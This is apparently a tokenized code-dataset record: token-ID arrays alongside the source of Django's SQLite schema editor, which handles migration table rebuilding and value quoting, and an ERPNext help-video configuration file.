3122, 275, 359, 288, 469, 355, 283, 466, 356, 283, 5641, 297, 355, 283, 2526, 63, 1531, 356, 7370, 1275, 16270, 3586, 14682, 446, 37, 1182, 1393, 15, 16408, 11400, 1275, 2042, 3586, 4662, 355, 283, 6460, 356, 11465, 14, 2014, 63, 1531, 63, 475, 63, 16408, 8, 1760, 395, 288, 789, 288, 367, 2088, 315, 291, 14, 12975, 267, 1622, 267, 372, 4884, 14, 1001, 495, 3252, 20968, 356, 359, 277, 14, 5649, 15618, 283, 13717, 1192, 356, 557, 3122, 1552, 339, 347, 536, 8, 277, 304, 267, 372, 283, 15003, 20971, 474, 3295, 83, 7, 450, 2631, 63, 600, 63, 305, 63, 2261, 63, 354, 8, 277, 14, 2227, 3034, 1012, 339, 347, 664, 2959, 5535, 8, 277, 12, 20648, 304, 267, 372, 15926, 83, 3149, 83, 7, 450, 334, 17254, 12, 291, 423, 888, 7733, 24821, 339, 347, 1072, 5535, 8, 277, 12, 20648, 304, 267, 1101, 275, 291, 423, 888, 342, 267, 2935, 1501, 275, 1543, 83, 3149, 83, 7, 450, 334, 17254, 12, 291, 423, 888, 7733, 1012, 267, 543, 1551, 8, 694, 1501, 12, 283, 87, 358, 465, 289, 26, 288, 289, 14, 952, 8, 888, 9, 339, 347, 886, 3425, 8, 277, 12, 20648, 304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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
abhattad4/Digi-Menu
build/lib.linux-x86_64-2.7/django/db/backends/sqlite3/schema.py
61
11377
import codecs import copy from decimal import Decimal from django.apps.registry import Apps from django.db.backends.base.schema import BaseDatabaseSchemaEditor from django.utils import six class DatabaseSchemaEditor(BaseDatabaseSchemaEditor): sql_delete_table = "DROP TABLE %(table)s" sql_create_inline_fk = "REFERENCES %(to_table)s (%(to_column)s)" def quote_value(self, value): # The backend "mostly works" without this function and there are use # cases for compiling Python without the sqlite3 libraries (e.g. # security hardening). import _sqlite3 try: value = _sqlite3.adapt(value) except _sqlite3.ProgrammingError: pass # Manual emulation of SQLite parameter quoting if isinstance(value, type(True)): return str(int(value)) elif isinstance(value, (Decimal, float)): return str(value) elif isinstance(value, six.integer_types): return str(value) elif isinstance(value, six.string_types): return "'%s'" % six.text_type(value).replace("\'", "\'\'") elif value is None: return "NULL" elif isinstance(value, (bytes, bytearray, six.memoryview)): # Bytes are only allowed for BLOB fields, encoded as string # literals containing hexadecimal data and preceded by a single "X" # character: # value = b'\x01\x02' => value_hex = b'0102' => return X'0102' value = bytes(value) hex_encoder = codecs.getencoder('hex_codec') value_hex, _length = hex_encoder(value) # Use 'ascii' encoding for b'01' => '01', no need to use force_text here. return "X'%s'" % value_hex.decode('ascii') else: raise ValueError("Cannot quote parameter value %r of type %s" % (value, type(value))) def _remake_table(self, model, create_fields=[], delete_fields=[], alter_fields=[], override_uniques=None, override_indexes=None): """ Shortcut to transform a model from old_model into new_model """ # Work out the new fields dict / mapping body = {f.name: f for f in model._meta.local_fields} # Since mapping might mix column names and default values, # its values must be already quoted. mapping = {f.column: self.quote_name(f.column) for f in model._meta.local_fields} # This maps field names (not columns) for things like unique_together rename_mapping = {} # If any of the new or altered fields is introducing a new PK, # remove the old one restore_pk_field = None if any(f.primary_key for f in create_fields) or any(n.primary_key for o, n in alter_fields): for name, field in list(body.items()): if field.primary_key: field.primary_key = False restore_pk_field = field if field.auto_created: del body[name] del mapping[field.column] # Add in any created fields for field in create_fields: body[field.name] = field # Choose a default and insert it into the copy map if not field.many_to_many: mapping[field.column] = self.quote_value( self.effective_default(field) ) # Add in any altered fields for (old_field, new_field) in alter_fields: body.pop(old_field.name, None) mapping.pop(old_field.column, None) body[new_field.name] = new_field if old_field.null and not new_field.null: case_sql = "coalesce(%(col)s, %(default)s)" % { 'col': self.quote_name(old_field.column), 'default': self.quote_value(self.effective_default(new_field)) } mapping[new_field.column] = case_sql else: mapping[new_field.column] = self.quote_name(old_field.column) rename_mapping[old_field.name] = new_field.name # Remove any deleted fields for field in delete_fields: del body[field.name] del mapping[field.column] # Remove any implicit M2M tables if field.many_to_many and field.rel.through._meta.auto_created: return self.delete_model(field.rel.through) # Work inside a new app registry apps = Apps() # Provide isolated instances of the fields to the new model body # Instantiating the new model with an alternate db_table will alter # the internal references of some of the provided fields. body = copy.deepcopy(body) # Work out the new value of unique_together, taking renames into # account if override_uniques is None: override_uniques = [ [rename_mapping.get(n, n) for n in unique] for unique in model._meta.unique_together ] # Work out the new value for index_together, taking renames into # account if override_indexes is None: override_indexes = [ [rename_mapping.get(n, n) for n in index] for index in model._meta.index_together ] # Construct a new model for the new state meta_contents = { 'app_label': model._meta.app_label, 'db_table': model._meta.db_table + "__new", 'unique_together': override_uniques, 'index_together': override_indexes, 'apps': apps, } meta = type("Meta", tuple(), meta_contents) body['Meta'] = meta body['__module__'] = model.__module__ temp_model = type(model._meta.object_name, model.__bases__, body) # Create a new table with that format. We remove things from the # deferred SQL that match our table name, too self.deferred_sql = [x for x in self.deferred_sql if model._meta.db_table not in x] self.create_model(temp_model) # Copy data from the old table field_maps = list(mapping.items()) self.execute("INSERT INTO %s (%s) SELECT %s FROM %s" % ( self.quote_name(temp_model._meta.db_table), ', '.join(self.quote_name(x) for x, y in field_maps), ', '.join(y for x, y in field_maps), self.quote_name(model._meta.db_table), )) # Delete the old table self.delete_model(model, handle_autom2m=False) # Rename the new to the old self.alter_db_table(temp_model, temp_model._meta.db_table, model._meta.db_table) # Run deferred SQL on correct table for sql in self.deferred_sql: self.execute(sql.replace(temp_model._meta.db_table, model._meta.db_table)) self.deferred_sql = [] # Fix any PK-removed field if restore_pk_field: restore_pk_field.primary_key = True def delete_model(self, model, handle_autom2m=True): if handle_autom2m: super(DatabaseSchemaEditor, self).delete_model(model) else: # Delete the table (and only that) self.execute(self.sql_delete_table % { "table": self.quote_name(model._meta.db_table), }) def add_field(self, model, field): """ Creates a field on a model. Usually involves adding a column, but may involve adding a table instead (for M2M fields) """ # Special-case implicit M2M tables if field.many_to_many and field.rel.through._meta.auto_created: return self.create_model(field.rel.through) self._remake_table(model, create_fields=[field]) def remove_field(self, model, field): """ Removes a field from a model. Usually involves deleting a column, but for M2Ms may involve deleting a table. """ # M2M fields are a special case if field.many_to_many: # For implicit M2M tables, delete the auto-created table if field.rel.through._meta.auto_created: self.delete_model(field.rel.through) # For explicit "through" M2M fields, do nothing # For everything else, remake. else: # It might not actually have a column behind it if field.db_parameters(connection=self.connection)['type'] is None: return self._remake_table(model, delete_fields=[field]) def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False): """Actually perform a "physical" (non-ManyToMany) field update.""" # Alter by remaking table self._remake_table(model, alter_fields=[(old_field, new_field)]) def alter_index_together(self, model, old_index_together, new_index_together): """ Deals with a model changing its index_together. Note: The input index_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format. """ self._remake_table(model, override_indexes=new_index_together) def alter_unique_together(self, model, old_unique_together, new_unique_together): """ Deals with a model changing its unique_together. Note: The input unique_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format. """ self._remake_table(model, override_uniques=new_unique_together) def _alter_many_to_many(self, model, old_field, new_field, strict): """ Alters M2Ms to repoint their to= endpoints. """ if old_field.rel.through._meta.db_table == new_field.rel.through._meta.db_table: # The field name didn't change, but some options did; we have to propagate this altering. self._remake_table( old_field.rel.through, alter_fields=[( # We need the field that points to the target model, so we can tell alter_field to change it - # this is m2m_reverse_field_name() (as opposed to m2m_field_name, which points to our model) old_field.rel.through._meta.get_field(old_field.m2m_reverse_field_name()), new_field.rel.through._meta.get_field(new_field.m2m_reverse_field_name()), )], override_uniques=(new_field.m2m_field_name(), new_field.m2m_reverse_field_name()), ) return # Make a new through table self.create_model(new_field.rel.through) # Copy the data across self.execute("INSERT INTO %s (%s) SELECT %s FROM %s" % ( self.quote_name(new_field.rel.through._meta.db_table), ', '.join([ "id", new_field.m2m_column_name(), new_field.m2m_reverse_name(), ]), ', '.join([ "id", old_field.m2m_column_name(), old_field.m2m_reverse_name(), ]), self.quote_name(old_field.rel.through._meta.db_table), )) # Delete the old through table self.delete_model(old_field.rel.through)
bsd-3-clause
[ 646, 6010, 199, 646, 1331, 199, 504, 6107, 492, 6345, 199, 199, 504, 1639, 14, 5181, 14, 5189, 492, 4693, 83, 199, 504, 1639, 14, 697, 14, 7765, 14, 1095, 14, 3629, 492, 29103, 6700, 10423, 199, 504, 1639, 14, 1208, 492, 3816, 421, 199, 533, 8692, 6700, 10423, 8, 1563, 7243, 6700, 10423, 304, 339, 3875, 63, 1807, 63, 1224, 275, 298, 14764, 9934, 2818, 1224, 9, 83, 2, 272, 3875, 63, 981, 63, 6460, 63, 9010, 275, 298, 19494, 22243, 2818, 475, 63, 1224, 9, 83, 17753, 475, 63, 2301, 9, 83, 2924, 339, 347, 6313, 63, 585, 8, 277, 12, 574, 304, 267, 327, 710, 4865, 298, 2786, 590, 5419, 2, 1928, 642, 805, 436, 2337, 787, 675, 267, 327, 5560, 367, 1013, 5662, 2018, 1928, 314, 11723, 19, 8363, 334, 69, 14, 71, 14, 267, 327, 6391, 12159, 848, 316, 680, 267, 492, 485, 10659, 19, 267, 862, 26, 288, 574, 275, 485, 10659, 19, 14, 19609, 8, 585, 9, 267, 871, 485, 10659, 19, 14, 11411, 547, 26, 288, 986, 267, 327, 30247, 15074, 402, 19245, 2725, 18593, 267, 340, 1228, 8, 585, 12, 730, 8, 549, 2298, 288, 372, 620, 8, 442, 8, 585, 430, 267, 916, 1228, 8, 585, 12, 334, 6745, 12, 2069, 2298, 288, 372, 620, 8, 585, 9, 267, 916, 1228, 8, 585, 12, 3816, 14, 4115, 63, 1313, 304, 288, 372, 620, 8, 585, 9, 267, 916, 1228, 8, 585, 12, 3816, 14, 875, 63, 1313, 304, 288, 372, 17648, 83, 4065, 450, 3816, 14, 505, 63, 466, 8, 585, 680, 1814, 480, 3985, 401, 1867, 1154, 9859, 267, 916, 574, 365, 488, 26, 288, 372, 298, 8084, 2, 267, 916, 1228, 8, 585, 12, 334, 2394, 12, 11640, 12, 3816, 14, 31519, 2298, 288, 327, 9879, 787, 1454, 4370, 367, 699, 9376, 1504, 12, 5737, 465, 1059, 288, 327, 18041, 3035, 20379, 666, 436, 9222, 770, 701, 282, 2849, 298, 56, 2, 288, 327, 4528, 26, 288, 327, 574, 275, 330, 1154, 88, 614, 60, 88, 996, 7, 9265, 574, 63, 4097, 275, 330, 7, 31715, 7, 9265, 372, 1323, 7, 31715, 7, 288, 574, 275, 2783, 8, 585, 9, 288, 6318, 63, 9347, 275, 6010, 14, 303, 724, 2693, 360, 4097, 63, 9276, 358, 288, 574, 63, 4097, 12, 485, 1267, 275, 6318, 63, 9347, 8, 585, 9, 288, 327, 3645, 283, 4371, 7, 2644, 367, 330, 7, 614, 7, 9265, 283, 614, 297, 949, 1929, 370, 675, 3542, 63, 505, 2348, 14, 288, 372, 298, 56, 5956, 83, 4065, 450, 574, 63, 4097, 14, 2708, 360, 4371, 358, 267, 587, 26, 288, 746, 1722, 480, 6612, 6313, 2725, 574, 450, 82, 402, 730, 450, 83, 2, 450, 334, 585, 12, 730, 8, 585, 1724, 339, 347, 485, 264, 1875, 63, 1224, 8, 277, 12, 1402, 12, 1218, 63, 955, 6034, 3145, 63, 955, 6034, 17355, 63, 955, 6034, 4278, 63, 3235, 83, 29, 403, 12, 1993, 4278, 63, 10116, 29, 403, 304, 267, 408, 267, 20124, 5919, 370, 5793, 282, 1402, 687, 2269, 63, 1238, 1901, 892, 63, 1238, 267, 408, 267, 327, 9361, 734, 314, 892, 1504, 1211, 1182, 4412, 267, 2396, 275, 469, 70, 14, 354, 26, 289, 367, 289, 315, 1402, 423, 2024, 14, 1832, 63, 955, 93, 267, 327, 9336, 4412, 5594, 13667, 2763, 1561, 436, 849, 1338, 12, 267, 327, 2399, 1338, 1471, 506, 2575, 10999, 14, 267, 4412, 275, 469, 70, 14, 2301, 26, 291, 14, 3513, 63, 354, 8, 70, 14, 2301, 9, 367, 289, 315, 1402, 423, 2024, 14, 1832, 63, 955, 93, 267, 327, 961, 9033, 901, 1561, 334, 1397, 4362, 9, 367, 7645, 2839, 3747, 63, 6314, 267, 11441, 63, 4745, 275, 1052, 267, 327, 982, 1263, 402, 314, 892, 503, 29815, 1504, 365, 13318, 14713, 282, 892, 18368, 12, 267, 327, 2813, 314, 2269, 1373, 267, 9066, 63, 2051, 63, 698, 275, 488, 267, 340, 1263, 8, 70, 14, 3327, 63, 498, 367, 289, 315, 1218, 63, 955, 9, 503, 1263, 8, 78, 14, 3327, 63, 498, 367, 312, 12, 302, 315, 17355, 63, 955, 304, 288, 367, 536, 12, 901, 315, 769, 8, 2030, 14, 1744, 5109, 355, 340, 901, 14, 3327, 63, 498, 26, 490, 901, 14, 3327, 63, 498, 275, 756, 490, 9066, 63, 2051, 63, 698, 275, 901, 490, 340, 901, 14, 2495, 63, 3966, 26, 717, 2150, 2396, 59, 354, 61, 717, 2150, 4412, 59, 698, 14, 2301, 61, 267, 327, 2654, 315, 1263, 2737, 1504, 267, 367, 901, 315, 1218, 63, 955, 26, 288, 2396, 59, 698, 14, 354, 61, 275, 901, 288, 327, 29826, 282, 849, 436, 5518, 652, 1901, 314, 1331, 2341, 288, 340, 440, 901, 14, 3479, 63, 475, 63, 3479, 26, 355, 4412, 59, 698, 14, 2301, 61, 275, 291, 14, 3513, 63, 585, 8, 490, 291, 14, 20427, 63, 885, 8, 698, 9, 355, 776, 267, 327, 2654, 315, 1263, 29815, 1504, 267, 367, 334, 1753, 63, 698, 12, 892, 63, 698, 9, 315, 17355, 63, 955, 26, 288, 2396, 14, 1935, 8, 1753, 63, 698, 14, 354, 12, 488, 9, 288, 4412, 14, 1935, 8, 1753, 63, 698, 14, 2301, 12, 488, 9, 288, 2396, 59, 1222, 63, 698, 14, 354, 61, 275, 892, 63, 698, 288, 340, 2269, 63, 698, 14, 2307, 436, 440, 892, 63, 698, 14, 2307, 26, 355, 1930, 63, 3009, 275, 298, 331, 29944, 12473, 761, 9, 83, 12, 2818, 885, 9, 83, 2924, 450, 469, 490, 283, 761, 356, 291, 14, 3513, 63, 354, 8, 1753, 63, 698, 14, 2301, 395, 490, 283, 885, 356, 291, 14, 3513, 63, 585, 8, 277, 14, 20427, 63, 885, 8, 1222, 63, 698, 430, 355, 789, 355, 4412, 59, 1222, 63, 698, 14, 2301, 61, 275, 1930, 63, 3009, 288, 587, 26, 355, 4412, 59, 1222, 63, 698, 14, 2301, 61, 275, 291, 14, 3513, 63, 354, 8, 1753, 63, 698, 14, 2301, 9, 288, 11441, 63, 4745, 59, 1753, 63, 698, 14, 354, 61, 275, 892, 63, 698, 14, 354, 267, 327, 5852, 1263, 5463, 1504, 267, 367, 901, 315, 3145, 63, 955, 26, 288, 2150, 2396, 59, 698, 14, 354, 61, 288 ]
[ 6010, 199, 646, 1331, 199, 504, 6107, 492, 6345, 199, 199, 504, 1639, 14, 5181, 14, 5189, 492, 4693, 83, 199, 504, 1639, 14, 697, 14, 7765, 14, 1095, 14, 3629, 492, 29103, 6700, 10423, 199, 504, 1639, 14, 1208, 492, 3816, 421, 199, 533, 8692, 6700, 10423, 8, 1563, 7243, 6700, 10423, 304, 339, 3875, 63, 1807, 63, 1224, 275, 298, 14764, 9934, 2818, 1224, 9, 83, 2, 272, 3875, 63, 981, 63, 6460, 63, 9010, 275, 298, 19494, 22243, 2818, 475, 63, 1224, 9, 83, 17753, 475, 63, 2301, 9, 83, 2924, 339, 347, 6313, 63, 585, 8, 277, 12, 574, 304, 267, 327, 710, 4865, 298, 2786, 590, 5419, 2, 1928, 642, 805, 436, 2337, 787, 675, 267, 327, 5560, 367, 1013, 5662, 2018, 1928, 314, 11723, 19, 8363, 334, 69, 14, 71, 14, 267, 327, 6391, 12159, 848, 316, 680, 267, 492, 485, 10659, 19, 267, 862, 26, 288, 574, 275, 485, 10659, 19, 14, 19609, 8, 585, 9, 267, 871, 485, 10659, 19, 14, 11411, 547, 26, 288, 986, 267, 327, 30247, 15074, 402, 19245, 2725, 18593, 267, 340, 1228, 8, 585, 12, 730, 8, 549, 2298, 288, 372, 620, 8, 442, 8, 585, 430, 267, 916, 1228, 8, 585, 12, 334, 6745, 12, 2069, 2298, 288, 372, 620, 8, 585, 9, 267, 916, 1228, 8, 585, 12, 3816, 14, 4115, 63, 1313, 304, 288, 372, 620, 8, 585, 9, 267, 916, 1228, 8, 585, 12, 3816, 14, 875, 63, 1313, 304, 288, 372, 17648, 83, 4065, 450, 3816, 14, 505, 63, 466, 8, 585, 680, 1814, 480, 3985, 401, 1867, 1154, 9859, 267, 916, 574, 365, 488, 26, 288, 372, 298, 8084, 2, 267, 916, 1228, 8, 585, 12, 334, 2394, 12, 11640, 12, 3816, 14, 31519, 2298, 288, 327, 9879, 787, 1454, 4370, 367, 699, 9376, 1504, 12, 5737, 465, 1059, 288, 327, 18041, 3035, 20379, 666, 436, 9222, 770, 701, 282, 2849, 298, 56, 2, 288, 327, 4528, 26, 288, 327, 574, 275, 330, 1154, 88, 614, 60, 88, 996, 7, 9265, 574, 63, 4097, 275, 330, 7, 31715, 7, 9265, 372, 1323, 7, 31715, 7, 288, 574, 275, 2783, 8, 585, 9, 288, 6318, 63, 9347, 275, 6010, 14, 303, 724, 2693, 360, 4097, 63, 9276, 358, 288, 574, 63, 4097, 12, 485, 1267, 275, 6318, 63, 9347, 8, 585, 9, 288, 327, 3645, 283, 4371, 7, 2644, 367, 330, 7, 614, 7, 9265, 283, 614, 297, 949, 1929, 370, 675, 3542, 63, 505, 2348, 14, 288, 372, 298, 56, 5956, 83, 4065, 450, 574, 63, 4097, 14, 2708, 360, 4371, 358, 267, 587, 26, 288, 746, 1722, 480, 6612, 6313, 2725, 574, 450, 82, 402, 730, 450, 83, 2, 450, 334, 585, 12, 730, 8, 585, 1724, 339, 347, 485, 264, 1875, 63, 1224, 8, 277, 12, 1402, 12, 1218, 63, 955, 6034, 3145, 63, 955, 6034, 17355, 63, 955, 6034, 4278, 63, 3235, 83, 29, 403, 12, 1993, 4278, 63, 10116, 29, 403, 304, 267, 408, 267, 20124, 5919, 370, 5793, 282, 1402, 687, 2269, 63, 1238, 1901, 892, 63, 1238, 267, 408, 267, 327, 9361, 734, 314, 892, 1504, 1211, 1182, 4412, 267, 2396, 275, 469, 70, 14, 354, 26, 289, 367, 289, 315, 1402, 423, 2024, 14, 1832, 63, 955, 93, 267, 327, 9336, 4412, 5594, 13667, 2763, 1561, 436, 849, 1338, 12, 267, 327, 2399, 1338, 1471, 506, 2575, 10999, 14, 267, 4412, 275, 469, 70, 14, 2301, 26, 291, 14, 3513, 63, 354, 8, 70, 14, 2301, 9, 367, 289, 315, 1402, 423, 2024, 14, 1832, 63, 955, 93, 267, 327, 961, 9033, 901, 1561, 334, 1397, 4362, 9, 367, 7645, 2839, 3747, 63, 6314, 267, 11441, 63, 4745, 275, 1052, 267, 327, 982, 1263, 402, 314, 892, 503, 29815, 1504, 365, 13318, 14713, 282, 892, 18368, 12, 267, 327, 2813, 314, 2269, 1373, 267, 9066, 63, 2051, 63, 698, 275, 488, 267, 340, 1263, 8, 70, 14, 3327, 63, 498, 367, 289, 315, 1218, 63, 955, 9, 503, 1263, 8, 78, 14, 3327, 63, 498, 367, 312, 12, 302, 315, 17355, 63, 955, 304, 288, 367, 536, 12, 901, 315, 769, 8, 2030, 14, 1744, 5109, 355, 340, 901, 14, 3327, 63, 498, 26, 490, 901, 14, 3327, 63, 498, 275, 756, 490, 9066, 63, 2051, 63, 698, 275, 901, 490, 340, 901, 14, 2495, 63, 3966, 26, 717, 2150, 2396, 59, 354, 61, 717, 2150, 4412, 59, 698, 14, 2301, 61, 267, 327, 2654, 315, 1263, 2737, 1504, 267, 367, 901, 315, 1218, 63, 955, 26, 288, 2396, 59, 698, 14, 354, 61, 275, 901, 288, 327, 29826, 282, 849, 436, 5518, 652, 1901, 314, 1331, 2341, 288, 340, 440, 901, 14, 3479, 63, 475, 63, 3479, 26, 355, 4412, 59, 698, 14, 2301, 61, 275, 291, 14, 3513, 63, 585, 8, 490, 291, 14, 20427, 63, 885, 8, 698, 9, 355, 776, 267, 327, 2654, 315, 1263, 29815, 1504, 267, 367, 334, 1753, 63, 698, 12, 892, 63, 698, 9, 315, 17355, 63, 955, 26, 288, 2396, 14, 1935, 8, 1753, 63, 698, 14, 354, 12, 488, 9, 288, 4412, 14, 1935, 8, 1753, 63, 698, 14, 2301, 12, 488, 9, 288, 2396, 59, 1222, 63, 698, 14, 354, 61, 275, 892, 63, 698, 288, 340, 2269, 63, 698, 14, 2307, 436, 440, 892, 63, 698, 14, 2307, 26, 355, 1930, 63, 3009, 275, 298, 331, 29944, 12473, 761, 9, 83, 12, 2818, 885, 9, 83, 2924, 450, 469, 490, 283, 761, 356, 291, 14, 3513, 63, 354, 8, 1753, 63, 698, 14, 2301, 395, 490, 283, 885, 356, 291, 14, 3513, 63, 585, 8, 277, 14, 20427, 63, 885, 8, 1222, 63, 698, 430, 355, 789, 355, 4412, 59, 1222, 63, 698, 14, 2301, 61, 275, 1930, 63, 3009, 288, 587, 26, 355, 4412, 59, 1222, 63, 698, 14, 2301, 61, 275, 291, 14, 3513, 63, 354, 8, 1753, 63, 698, 14, 2301, 9, 288, 11441, 63, 4745, 59, 1753, 63, 698, 14, 354, 61, 275, 892, 63, 698, 14, 354, 267, 327, 5852, 1263, 5463, 1504, 267, 367, 901, 315, 3145, 63, 955, 26, 288, 2150, 2396, 59, 698, 14, 354, 61, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1,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ext/config/learn.py
17
4369
from __future__ import unicode_literals from frappe import _ def get_data(): return [ { "label": _("General"), "items": [ { "type": "help", "label": _("Navigating"), "youtube_id": "YDoI2DF4Lmc" }, { "type": "help", "label": _("Setup Wizard"), "youtube_id": "oIOf_zCFWKQ" }, { "type": "help", "label": _("Customizing Forms"), "youtube_id": "pJhL9mmxV_U" }, ] }, { "label": _("Setup"), "items": [ { "type": "help", "label": _("Data Import and Export"), "youtube_id": "6wiriRKPhmg" }, { "type": "help", "label": _("Opening Stock Balance"), "youtube_id": "0yPgrtfeCTs" }, { "type": "help", "label": _("Setting up Email"), "youtube_id": "YFYe0DrB95o" }, { "type": "help", "label": _("Printing and Branding"), "youtube_id": "cKZHcx1znMc" }, { "type": "help", "label": _("Users and Permissions"), "youtube_id": "fnBoRhBrwR4" }, { "type": "help", "label": _("Workflow"), "youtube_id": "yObJUg9FxFs" }, ] }, { "label": _("Accounts"), "items": [ { "type": "help", "label": _("Chart of Accounts"), "youtube_id": "DyR-DST-PyA" }, { "type": "help", "label": _("Setting up Taxes"), "youtube_id": "nQ1zZdPgdaQ" }, { "type": "help", "label": _("Opening Accounting Balance"), "youtube_id": "kdgM20Q-q68" } ] }, { "label": _("CRM"), "items": [ { "type": "help", "label": _("Lead to Quotation"), "youtube_id": "TxYX4r4JAKA" }, { "type": "help", "label": _("Newsletters"), "youtube_id": "muLKsCrrDRo" }, ] }, { "label": _("Selling"), "items": [ { "type": "help", "label": _("Customer and Supplier"), "youtube_id": "anoGi_RpQ20" }, { "type": "help", "label": _("Sales Order to Payment"), "youtube_id": "7AMq4lqkN4A" }, { "type": "help", "label": _("Point-of-Sale"), "youtube_id": "4WkelWkbP_c" } ] }, { "label": _("Stock"), "items": [ { "type": "help", "label": _("Items and Pricing"), "youtube_id": "qXaEwld4_Ps" }, { "type": "help", "label": _("Opening Stock Balance"), "youtube_id": "0yPgrtfeCTs" }, { "type": "help", "label": _("Making Stock Entries"), "youtube_id": "Njt107hlY3I" }, { "type": "help", "label": _("Serialized Inventory"), "youtube_id": "gvOVlEwFDAk" }, { "type": "help", "label": _("Batch Inventory"), "youtube_id": "J0QKl7ABPKM" }, { "type": "help", "label": _("Managing Subcontracting"), "youtube_id": "ThiMCC2DtKo" }, ] }, { "label": _("Buying"), "items": [ { "type": "help", "label": _("Customer and Supplier"), "youtube_id": "anoGi_RpQ20" }, { "type": "help", "label": _("Material Request to Purchase Order"), "youtube_id": "4TN9kPyfIqM" }, { "type": "help", "label": _("Purchase Order to Payment"), "youtube_id": "EK65tLdVUDk" }, { "type": "help", "label": _("Managing Subcontracting"), "youtube_id": "ThiMCC2DtKo" }, ] }, { "label": _("Manufacturing"), "items": [ { "type": "help", "label": _("Bill of Materials"), "youtube_id": "hDV0c1OeWLo" }, { "type": "help", "label": _("Production Planning Tool"), "youtube_id": "CzatSl4zJ2Y" }, { "type": "help", "label": _("Production Order"), "youtube_id": "ZotgLyp2YFY" }, ] }, { "label": _("Human Resource"), "items": [ { "type": "help", "label": _("Setting up Employees"), "youtube_id": "USfIUdZlUhw" }, { "type": "help", "label": _("Leave Management"), "youtube_id": "fc0p_AXebc8" }, { "type": "help", "label": _("Expense Claims"), "youtube_id": "5SZHJF--ZFY" }, { "type": "help", "label": _("Processing Payroll"), "youtube_id": "apgE-f25Rm0" }, ] }, { "label": _("Projects"), "items": [ { "type": "help", "label": _("Managing Projects"), "youtube_id": "egxIGwtoKI4" }, ] }, ]
agpl-3.0
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 6950, 492, 485, 199, 199, 318, 664, 63, 576, 837, 199, 198, 1107, 359, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 14109, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 19617, 71, 1958, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 57, 2585, 41, 18, 3888, 20, 44, 5466, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 8555, 644, 6281, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 79, 2090, 70, 63, 90, 5487, 55, 24817, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7223, 9147, 2104, 706, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 80, 42, 72, 44, 25, 596, 88, 54, 63, 53, 2, 1585, 198, 1386, 686, 198, 61, 2742, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 8555, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 1451, 3161, 436, 20220, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 22, 14249, 322, 50, 43, 5663, 6649, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 4299, 316, 28406, 23928, 554, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 16, 89, 48, 2587, 84, 771, 1028, 83, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7776, 1536, 11426, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 57, 18114, 69, 16, 21733, 34, 2720, 79, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 5375, 316, 436, 699, 3759, 316, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 67, 43, 58, 40, 11859, 17, 31591, 45, 67, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 12117, 436, 28260, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 2324, 2208, 50, 72, 12771, 87, 50, 20, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 17527, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 89, 11394, 42, 53, 71, 25, 38, 6287, 83, 2, 1585, 198, 1386, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 30682, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 16372, 402, 4473, 6851, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 36, 89, 50, 13, 18651, 13, 2713, 33, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7776, 1536, 377, 6402, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 78, 49, 17, 90, 58, 68, 31489, 983, 49, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 4299, 316, 9973, 316, 23928, 554, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 75, 13279, 45, 1165, 49, 13, 81, 2333, 2, 1585, 198, 93, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 2944, 45, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 29006, 370, 5843, 357, 425, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 8052, 16936, 20, 82, 20, 42, 7872, 33, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 24730, 16415, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 6553, 44, 43, 83, 